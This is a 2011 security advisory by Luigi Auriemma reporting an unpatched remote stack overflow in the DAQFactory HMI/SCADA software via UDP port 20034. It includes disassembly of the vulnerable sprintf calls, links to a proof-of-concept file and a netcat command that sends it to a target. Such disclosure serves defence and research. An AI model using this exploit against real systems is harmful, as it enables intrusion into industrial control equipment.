1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
####################################################################### Luigi Auriemma Application:DAQFactory http://www.azeotech.com/daqfactory.php Versions: <= 5.85 build 1853 Platforms:Windows Bug:stack overflow Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== DAQFactory is an HMI/SCADA software. ####################################################################### ====== 2) Bug ====== When DAQFactory is running it listens on the UDP port 20034 for NETB packets of max 0x400 bytes. The software is affected by a stack overflow in the code that logs the informations of the incoming packet allowing an attacker to execute malicious code: 005C3FB0/$ 6A FF PUSH -1 005C3FB2|. 68 E6777D00 PUSH DAQFacto.007D77E6 005C3FB7|. 64:A1 00000000MOV EAX,DWORD PTR FS:[0] 005C3FBD|. 50PUSH EAX 005C3FBE|. 64:8925 00000000MOV DWORD PTR FS:[0],ESP 005C3FC5|. 81EC 2C020000 SUB ESP,22C ...skip... 005C41B2|. 8D8C24 7C010000 LEA ECX,DWORD PTR SS:[ESP+17C] 005C41B9|. 68 B02C9000 PUSH DAQFacto.00902CB0 ; "MAC:[%02x-%02X-%02X-%02X-%02X-%02X] IP:%d.%d.%d.%d DHCP:%d.%d.%d.%d %s%s" 005C41BE|. 51PUSH ECX 005C41BF|. FF15 6CC07F00 CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ..and.. 005C423A|. 8D8C24 6C010000 LEA ECX,DWORD PTR SS:[ESP+16C] 005C4241|. 68 682C9000 PUSH DAQFacto.00902C68 ; "MAC: [%02x-%02X-%02X-%02X-%02X-%02X]IP:%d.%d.%d.%d %s%s" 005C4246|. 51PUSH ECX 005C4247|. FF15 6CC07F00 CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/daqfactory_1.dat https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17841.dat nc SERVER 20034 -u < daqfactory_1.dat ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |